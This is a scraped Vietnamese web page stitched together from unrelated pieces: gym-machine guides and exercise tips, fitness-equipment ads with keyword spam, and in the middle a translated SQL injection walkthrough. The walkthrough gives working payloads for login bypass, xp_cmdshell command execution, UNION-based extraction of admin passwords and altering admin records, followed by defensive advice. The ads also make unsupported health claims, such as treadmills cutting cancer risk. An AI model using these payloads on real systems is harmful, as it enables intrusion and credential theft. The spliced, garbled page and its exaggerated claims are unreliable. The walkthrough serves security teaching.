Cập nhật thông tin chi tiết về Tìm Hiểu Cách Dùng 7 Máy Tập Cơ Bản Tại Phòng Gym mới nhất trên website Karefresh.com. Hy vọng nội dung bài viết sẽ đáp ứng được nhu cầu của bạn, chúng tôi sẽ thường xuyên cập nhật mới nội dung để bạn nhận được thông tin nhanh chóng và chính xác nhất.
Hiện nay, gym là một trong những bộ môn thể thao được rất nhiều người quan tâm.Nhưng họ muốn đến phòng gym luyện tập nhưng lại ngại không biết bắt đầu từ đâu?Hoặc là không biết sử dụng các máy tập, dụng cụ như thế nào cho đúng? Không chỉ có những người mới bắt đầu mà ngay cả những người đã tập lâu năm cũng chưa đạt được hiệu quả như mong muốn vì chưa biết lựa chọn máy tập gym nào cho phù hợp và cách sử dụng máy tập gym sao cho hiệu quả nhất. Chính vì thế, bài viết này sẽ giúp bạn đọc tìm được các loại máy tập gym phù hợp nhất, giúp đạt hiệu quả tốt nhất và rút ngắn thời gian đạt đến mục tiêu của bạn.
– Máy chạy bộ có 2 nút: Nút bắt đầu (START) và nút dừng lại (STOP). – Đầu tiên, bạn đứng ở vành đai hai bên, chọn tốc độ ban đầu khoảng 2km/h để máy có thể bắt đầu khởi động. – Sau đó đưa chân từ từ vào thảm chạy, nên để tốc độ chậm trước nhằm thích ứng dần với máy, sau đó mới tăng tốc độ một cách từ từ chậm rãi. – Việc tăng tốc độ từ từ giúp cho cơ thể của bạn có thể quen dần với những thay đổi của cơ hay nhịp tim. – Trước khi ngừng chạy khoảng 5 phút, thì giảm tốc độ. Sau đó mới nhấn nút STOP để máy ngừng hẳn
2.Máy tập xe đạp
– Sau khi chọn loại xe đạp phù hợp, bạn điều chỉnh chỗ ngồi. Điều chỉnh chiều cao của nó sao cho bàn đạp của bạn ở mức thấp nhất hoặc xa nhất về phía trước cho xe đạp nằm nghiêng; đầu gối của bạn chỉ nên uốn cong nhẹ. – Khi tập với xe đạp thì tư thế chuẩn đó là hơi nghiêng về phía trước, hai cánh tay duỗi thẳng, hóp chặt bụng và dùng cách thở bằng bụng. Hai đùi song song với thanh ngang của xe, đầu gối, hông luôn phối hợp nhịp nhàng và đồng thời ý tới nhịp điệu đạp xe. – Điều chỉnh tay lái để bạn có thể nắm chúng mà không nghiêng về phía trước, khuỷu tay hơi cong. – Sử dụng dây đai chân, không nên buộc đai quá chặt sẽ khó chịu khi sử dụng và lúc dời chiếc xe đạp xe khó khăn hơn. – Luyện tập bắt đầu chậm và tăng tốc độ, sức đề kháng sau một vài phút. Ở cuối tập luyện, làm chậm và giảm sức đề kháng để nhịp tim của bạn xuống, không nên dừng đột ngột, có hại cho tim.
Chỉnh cáp cao hoặc thấp phù hợp với bài tập (Cáp cao tập tay sau,Cáp thấp tập tay trước) + Bài tập kéo cáp với tay sau: -Tại vị trí bắt đầu bạn hít sâu và tập trung gồng lực vào cơ bắp tay sau của bạn
– Tại vị trí cao nhất bạn bắt đầu hít sâu và hơi chồm ít người ra phía trước đồng thời gồng cơ tay trước hạ tạ từ từ xuống vị trí lúc đầu
– Giữ tay lại 2s ở điểm cao nhất của tạ tức là lúc cơ lưng căng tối đa, giữ lại 1s tại vị trí cơ lưng ép tối đa (tức là lúc đòn tạ sắp chạm cổ hay ngực), điều này không bắt buộc nhưng nếu bạn làm được sẽ rất tốt
-Lên chậm xuống nhanh nên theo tỉ lệ , có nghĩa là nếu :2 bạn thực hiện động tác kéo cây đòn xuống cổ hoặc ngực mất 1s thì bạn cần từ từ căng cơ đưa cây đòn lên vị trí cao với thời gian chậm lại gấp đôi (2s), cảm giác cơ xô căng là đúng (căng nhiều hay ít tùy thuộc khả năng từng người)
– Không khóa khớp cùi chỏ (tay không thẳng 100% trong khi bạn hạ tạ xuống [tay trên cao]) không dùng cơ tay là nhân tố chính thực hiện động tác, nên tập trung điều khiển xô lưng kéo tạ (cái này các bạn từ từ luyện sẽ quen). Bạn cần phải thực hiện được như vậy để đảm bảo rằng cơ xô lưng của bạn đang hoạt động chứ không phải là lực tác động của tay.
-Khi kéo cây đòn gần chạm cổ hay ngực, bạn cần ưỡn ngực 1 chút để cơ lưng được ép vào nhiều hơn
Bạn cần điều chỉnh mức tạ làm sao cho bạn thực hiện được khoảng 12 reps trong 1 set là cơ đùi của bạn cảm thấy mỏi mệt, không thể thực hiện thêm 1 rep nào trong set đó nữa
– Giữ chân lại 1s ở điểm cao nhất của động tác, điều này không bắt buộc nhưng nếu bạn làm được sẽ rất tốt
– Không khóa khớp gối, tức là không đá chân lên thẳng 100% (đùi và bắp chân không tạo thành 1 đường thẳng tuyệt đối), bạn chỉ cần đá thẳng chừng 95% là cơ đùi trước đã co hết cỡ rồi. Nên chú ý ở điểm này nhằm bảo vệ cho đôi chân được an toàn
Trung tâm thể dục thể thao Like Fitness với hệ thống máy móc hiện đại chuẩn Quốc tế sẽ đem đến cho bạn cảm giác tập luyện chuyên nghiệp nhất tại Hải Phòng.
Các Loại Máy Tập Thể Hình Cơ Bản Tại Phòng Tập Gym
Câu nói “Đẹp trai thì mới có nhiều đứa yêu” trong một phóng sự đang hot trong thời gian gần đây tưởng chừng như bông đùa nhưng lại chính là một sự thật không thể chối cãi.
Nam giới ngoài việc thành công trong công việc, để cuốn hút được phái đẹp thì cần có một thân hình đẹp hoàn hảo. Nói có sách, mách có chứng, hiện nay số lượng nam giới đến phòng tập gym ngày càng nhiều.
Tuy nhiên, nhiều người vẫn chưa hiểu rõ hết về công dụng cũng như cách sử dụng các loại máy tập thể hình sao cho hiệu qua. ELLE Man xin giới thiệu những loại máy tập thể hình cơ bản tại phòng tập cùng công dụng của nó.
1.Một vài mẹo nhỏ để khởi đầu
Khi đến phòng tập, bạn đừng lao vào tập ngay mà hãy dành ra ít nhất 5 phút để khởi động. Một bí quyết để tập hiệu quả được các chuyên gia phòng gymgiới thiệu là hãy chạy bộ từ 5 đến 10 phút, sau đó bắt đầu tập luyện với các loại máy tập sẽ mang đến cho bạn một kết quả đáng bất ngờ.
2. Ghế đẩy tạ
Dành cho các bài tập cho vùng ngực trên, tác động đến vai và bắp tay sau.
Tư thế tập: Nằm trên ghế, mắt song song với thanh tạ. Sau đó nhấc tạ lên về thực hiện đẩy tạ 3 hiệp, mỗi hiệp 8-12 cái.
Lưu ý: Các bài tập tại phòng tập đều tuân thủ theo nguyên tắc về hô hấp như sau: Đầu tiên bạn hít vào thật sâukhi không dùng lực của cơ, giữ hơi trong khi dùng lực của cơ và thở ra khi kết thúc quá trình. Điều này sẽ hỗ trợ bạn rất hiệu quả trong các bài tập.
3. Máy tập ngực ở tư thế ngồi
Loại máy này hỗ trợ rất tốt trong việc phát triển cơ ngực lẫn cơ tay và vai.
Tư thế tập: Ngồi thẳng lưng, đặt tay lên thanh cầm,hít vào thật sâukhi không dùng lực của cơ, giữ hơi trong khi dùng lực của cơ và thở ra khi kết thúc quá trình.
Bạn nên thực hiện 4 hiệp, mỗi hiệp 8-12 cái.
4. Máy kéo cơ lưng sau cổ, ở tư thế ngồi
Bạn có thể áp dụng được rất nhiều bài tập đối với loại máy này. Loại máy này tiêu biểu cho các bài tập cơ xô, phát triển nhóm cơ lưng đồng thời cũng tác động lên ngực và bắp tay.
Tư thế chuẩn: Ngồi thẳng lưng, tay cầm thanh nắm, tay đưa ngang 90 độ,hít vào thật sâukhi không dùng lực của cơ, giữ hơi trong khi dùng lực của cơ và thở ra khi kết thúc quá trình.
5. Máy ép chân tư thế ngồi
Thường xuyên tập loại máy này sẽ giúp bạn có được một đôi chân mạnh khỏe cùng một vòng 3 săn chắc.
Tư thế tập: Ngồi thẳng lưng, hít thật sâu sau đó thở ra và kếp hợp đẩy chân. Ở bài tập này, bạn có gắng đẩy chân càng sâu càng tốt.
6. Máy tập cơ vai tư thế ngồi
Đây cũng là một loại máy hỗ trợ phát triển cơ vai. bắp tay và cơ tay sau.
Tư thế: Ngồi thẳng lưng, hít thật sâu, đẩy theo hướng lên trên. Lưu ý tay dang ra 1 góc 90 độ. Hít vào thật sâukhi không dùng lực của cơ, giữ hơi trong khi dùng lực của cơ và thở ra khi kết thúc quá trình.
Bài viết: Duy Trương – Hình ảnh: Sưu tầm
Tìm Hiểu Về Sql Injection Và Cách Phòng Chống
SQL Injection không còn là khái niệm quá mới, nhưng nó vẫn là một trong những kiểu tấn công mạng khá phổ biến. Bài viết này gồm 12 mục, đi từ khái niệm, các bước diễn ra SQL Injection với một ví dụ minh họa (trang web được dùng làm ví dụ chỉ là minh họa, không có thực) đến cách phòng chống tấn công SQL Injection để bạn đọc hiểu về cách thức tấn công này, từ đó có những biện pháp phòng ngừa, bảo vệ website và hệ thống của mình.
Lưu ý: Không thử tấn công website, hệ thống của cá nhân, tổ chức khác bằng phương pháp này, mọi hành vi như vậy đều là vi phạm pháp luật Việt Nam. Nếu bạn tìm thấy lỗ hổng bảo mật, hãy báo cho người quản trị website, hệ thống đó để họ khắc phục. Bài viết chỉ nhằm mục đích giúp bạn hiểu về kiểu tấn công và có những biện pháp phòng tránh cho ứng dụng web của mình.
1. SQL Injection là gì?
SQL Injection là một trong những kiểu hack web bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution (thực thi từ xa), dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, …
Bài labs SQL Injection
2. Các bước tiến hành SQL Injection
2.1. Tìm kiếm mục tiêu
Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, …
http://yoursite.com/index.asp?id=10Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.
2.2. Kiểm tra chỗ yếu của trang web
Thử submit các field username, password hoặc field id, .. bằng hi’ or 1=1–
Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:
Nếu thành công, thì có thể login vào mà không cần phải biết username và password
2.3. Tại sao ‘ or 1=1– có thể vượt qua phần kiểm tra đăng nhập?
Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:
http://yoursite.com/index.asp?category=foodv_cat sẽ chứa giá trị của biến request(“category”) là ” và câu lệnh SQL tiếp theo sẽ là:
SELECT * FROM product WHERE PCategory='food'Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’
Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food’ or 1=1–, biến v_cat sẽ chứa giá trị “food’ or 1=1– ” và dòng lệnh SQL query sẽ là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng ‘food’ hay không. Hai dấu gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua. Đối với MySQL, hãy thay “–” thành “#”
Ngoài ra, cũng có thể thử cách khác bằng cách submit ‘ or ‘a’=’a. Dòng SQL query bây giờ sẽ là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:
2.4. Thi hành lệnh từ xa bằng SQL Injection
'; exec master..xp_cmdshell 'ping 10.10.1.2'--Hãy thử dùng dấu nháy đôi (“) nếu dấu nháy đơn (‘) không làm việc.
Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:
#tcpdump icmpNếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.
2.5. Nhận output của SQL query
Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML
'; EXEC master..sp_makewebtask "\10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"Chú ý: folder “” phải được share cho Everyone trước.
2.6. Nhận dữ liệu qua ‘database using ODBC error message‘
Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ CSDL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL
Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1“. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.
Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--Khi đó thông báo lỗi của SQL Server có thể là:
Mẫu so sánh ‘%25login%25’ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login“.
2.7. Xác định tên của các column trong table
Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--Khi đó thông báo lỗi của SQL Server có thể như sau:
Như vậy tên của column đầu tiên là “login_id“. Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--Khi đó thông báo lỗi của SQL Server có thể như sau:
Làm tương tự như trên, có thể lấy được tên của các column còn lại như “password“, “details“. Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--Khi đó thông báo lỗi của SQL Server có thể như sau:
2.8. Thu thập các dữ liệu quan trọng
Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--Khi đó thông báo lỗi của SQL Server có thể như sau:
Dễ dàng nhận ra được admin user đầu tiên có login_name là “neo”. Hãy thử lấy password của “neo” như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--Khi đó thông báo lỗi của SQL Server có thể như sau:
2.9. Nhận các numeric string
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--Thì khi đó chỉ nhận được thông báo lỗi ” Page Not Found“. Lý do bởi vì server có thể chuyển passoword “31173” sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau:
2.10. Thay đổi dữ liệu (Update/Insert) của CSDL
Khi đã có tên của tất cả các column trong table, có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.
Để thay đổi password của “”, có thể làm như sau:
http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--Hoặc nếu bạn muốn một record mới vào table:
http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--3. Ngăn chặn SQL Injection
Các tổ chức có thể tập trung vào những bước sau đây để bảo vệ mình khỏi những cuộc tấn công SQL Injection:
Không bao giờ được tin tưởng những input người dùng nhập vào: Dữ liệu luôn phải được xác thực trước khi sử dụng trong các câu lệnh SQL.
Các thủ tục được lưu trữ: Những thủ tục này có thể trừu tượng hóa các lệnh SQL và xem xét toàn bộ input như các tham số. Nhờ đó, nó không thể gây ảnh hưởng đến cú pháp lệnh SQL.
Các lệnh được chuẩn bị sẵn: Điều này bao gồm việc tạo truy vấn SQL như hành động đầu tiên và sau đó xử lý toàn bộ dữ liệu được gửi như những tham số.
Những cụm từ thông dụng: Những cụm từ này được sử dụng để phát hiện mã độc và loại bỏ nó trước khi câu lệnh SQL được thực hiện.
Thông báo lỗi đúng: Thông báo lỗi phải tuyệt đối tránh tiết lộ những thông tin/chi tiết nhạy cảm và vị trí xảy ra lỗi trên thông báo lỗi.
Giới hạn quyền truy cập của người dùng đối với cơ sở dữ liệu: Chỉ những tài khoản có quyền truy cập theo yêu cầu mới được kết nối với cơ sở dữ liệu. Điều này có thể giúp giảm thiểu những lệnh SQL được thực thi tự động trên server.
Hãy loại bỏ các kí tự meta như ‘”/; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ:
input do người dùng đệ trình
Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security.
Xóa các stored procedure trong database mà không dùng như:
xp_cmdshell
Ngăn chặn SQL Injection trong ASP.NET
Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong chúng tôi có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.
Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong chúng tôi là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.
4. Tài liệu thao khảo
How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
Great article on gathering information from ODBC error messages http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml
Senseport’s article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm
Khác: http://www.digitaloffense.net/warga…/IOWargames.ppt http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6 http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
Sưu tầm trên Internet từ bài được dịch từ bài viết gốc ” SQL Injection Walkthrough” của xfocus.net
Máy Tập Đa Năng Total Gym Luyện Tập Cơ Bắp Chuyên Nghiệp Tại Nhà Máy Luyện Tập Thể Hình Tại Nhà Máy Chạy Bộ Cơ Mini Giá 1.950.000Đ
máy tập đa năng, máy tập đa năng cỡ lớn, sản phẩm máy tập đa năng, máy tập đa năng obitrek,, ghế tập đa năng, máy tậ đa năng, tập đa năng,máy tập thể dục đa năng, ghế tập thể dục đa năng, bộ tập thể dục đa năng, máy tập thể duc đa năng, máy tập thể hình đa năng, tập thể dục đa năng, máy thể dục đa năng, máy thể dục đa năng cỡ, máy tập thể dục chạy bộ, máy tập thể dục, máy tập thể dục đi bộ, thể dục đa năng, máy tập thể dục tổng hợp, máy tập thể dục orbitrek, máy tập thể dục kb-1000, các loại máy tập thể dục, máy tập thể dục kl 302, máy tập thể dục kl-805, máy đạp tập thể dục, máy chạy tập thể dục,máy tập thể dục chạy bộ, máy tập thể dục, máy tập thể dục đa năng, máy tập thể dục đi bộ, máy tập thể dục tổng hợp, máy tập thể dục orbitrek, máy tập thể dục kb-1000, các loại máy tập thể dục, máy tập thể dục kl 302, máy tập thể dục kl-805, máy đạp tập thể dục, máy chạy tập thể dục, dụng cụ tập thể dục, tập thể dục, quần áo tập thể dục, máy chạy thể dục, quần áo tập thể dục nữ, thảm tập thể dục, bóng tập thể dục, dụng cụ tập thể dục giảm
Xem video hướng dẫn tập : http://www.youtube.com/watch?v=lDMF3oasi0w&feature=player_detailpage
Sử dụng máy tập Total Gym giúp bạn đạt được hiệu quả cao nhất. Total Gym giúp bạn có thể tập luyện toàn thân hay chuyên sâu vào 1 bộ phận/vùng cơ bất kỳ nào đó trên cơ thể.
– Thiết kế kiểu dáng máy tập đa năng và các tập ứng dụng mang tính chuyên nghiệp cao, bao gồm hơn 100 bài tập
– Dễ dàng tập luyện và di chuyển, cất trữ. Máy tập Total Gym đã được lắp ráp hoàn chỉnh
– Với 7 mức kháng lực có thể được điều chỉnh dễ dàng, phù hợp với sức khỏe và thể trạng của mỗi người:
+ Mức 1-3 dành cho người mới bắt đầu tập.
+ Mức 4-5 dành cho người đã quen việc tập luyện thường xuyên với máy+ Mức 6-7 dành cho những người chuyên nghiệp hay đã thuần thục.
1.Sở hữu một máy tập mang tính chuyên nghiệp cao,
2.Bạn có thể tập luyện toàn thân hay chuyên sâu vào 1 bộ phận/vùng cơ bất kỳ nào đó trên cơ thể: tay, vai, lưng, eo, mông, chân, ngực, bụng.. . tạo ra hiệu quả rèn luyện vừa toàn diện vừa chuyên sâu.
3.Bằng một chuỗi hơn 100 bài tập phong phú đa dạng với hàng loạt động tác mà bạn thích thú và cảm nhận hiệu quả tác động như: kéo, đẩy , trượt, ép, chèo thuyền, duỗi cơ, . . bạn không lúc nào mất đi cảm hứng trong quá trình tập luyện với máy tập đa năng. Lúc này việc tập thể dục đối với bạn không chỉ là động lực để rèn luyện sức khoẻ hay có một vóc dáng đẹp mà đã trở thành nhu cầu không thể thiếu được trong cuộc sống hàng ngày.
Giá thị trường : 1.250.000đ
– Máy chạy bộ trên không không chỉ có lợi ích cho việc giảm cân còn giúp sụn của bạn bằng cách tăng lưu lượng oxy và xả ra các độc tố, và tăng cường các dây chằng xung quanh khớp
– Máy chạy bộ cũng tăng sự chắc khỏe cho xương của bạn, giúp ngăn ngừa loãng xương.
– Máy chạy bộ trên không đa năng giúp bạn luyện tập nhịp tim. Khi bạn sải chân là lúc ép máu về tim của bạn, do
đó máu sẽ phải bơm ngược trở ra ngay sau đó.Khi bạn chạy nhanh hơn, trái tim của bạn phải làm việc nhiều hơn và nó sẽ khỏe hơn.
– Việc luyện tập trên máy chạy bộ trên không có hiệu quả gấp ba lần để giảm sự lo lắng so với những máy tập cùng loại khác.
– Hầu hết các chuyên gia đồng ý rằng tập máy chạy bộ trên không thường xuyên làm giảm nguy cơ của nhiều loại ung thư, bao gồm một số loại ung thư đáng lo ngại nhất như : đại tràng, vú, nội mạc tử cung, và phổi.
Những người dùng máy chạy bộ thường có trọng lượng trung bình so với những người ít vận động, do đó giảm đáng kể nguy cơ viêm xương khớp của họ.
– Phù hợp với sức khỏe và thể trạng của mọi người trong gia đình.
– Máy vận hành cực kỳ nhẹ nhàng và êm ái.
– Các bài tập aerobic tăng cường sức khỏe và vui nhộn.
– Có thể tập từ đi bộ chậm đến chạy nhanh.
+ Model: TK-4 + Trọng lượng: 20 kg + Kích thước: 180 x 80 x 70cm + Sản xuất : Việt Nam + Bảo hành 12 tháng
SẢN PHẨM BẢO HÀNH 12 THÁNG
Nhiều nghiên cứu cho thấy việc chạy bộ-đi bộ thường xuyên sẽ làm chậm lại quá trình già đi của cơ thể đem lại cho bạn cơ thể dẻo dai, bền bỉ đồng thời còn giúp bạn kiểm soát tốt cân nặng của cơ thể.
Máy chạy bộ cơ 1 chức năng AL-101
– Sơn tĩnh điện- Màu sắc: Red & Black
– Đồng hồ hiển thị: thời gian, quãng đường, khoảng cách và lượng Calo tiêu hao
– Kích thước: 1400 x 600 x 1380 mm
Máy chạy bộ cơ 1 chức năng AL-101 – Sơn tĩnh điện – Màu sắc: Red & Black – Đồng hồ hiển thị: thời gian, quãng đường, khoảng cách và lượng Calo tiêu hao – Chức năng: chạy bộ.
– Gấp gọn gàng không chiếm diện tích ,2 bánh đà,khung sơn tĩnh điện,có thể điều chỉnh được độ cao thấp của tay cầm,phù hợp với chiều cao người tập
– Máy chạy bộ cơmini hiện đang là sản phẩm được người tiêu dùng đánh giá cao về mẫu mã và chất lượng sản phẩm.
Thật vậy, thiết kế nhỏ gọn, chỉ cần 1 diện tích tối thiểu chưa đến 1m2 tại nhà là mọi người có thể có được đầy đủ các bài tập đi bộ cũng như vận động toàn thân mà không phải nhọc công tìm đến công viên hay lo lắng mưa nắng thất thường ảnh hưởng đến lịch tập luyện.
TimeMart – Thiên đường mua sắm của bạn và gia đình.Địa chỉ: 42 Trường Chinh, Hà Nội
Tin đăng đã có 3.841 lượt xem và 2 phản hồi
Like ÉnBạc để tiếp cận nhiều sản phẩm tuyệt đẹp mỗi ngày
Bạn đang xem bài viết Tìm Hiểu Cách Dùng 7 Máy Tập Cơ Bản Tại Phòng Gym trên website Karefresh.com. Hy vọng những thông tin mà chúng tôi đã chia sẻ là hữu ích với bạn. Nếu nội dung hay, ý nghĩa bạn hãy chia sẻ với bạn bè của mình và luôn theo dõi, ủng hộ chúng tôi để cập nhật những thông tin mới nhất. Chúc bạn một ngày tốt lành!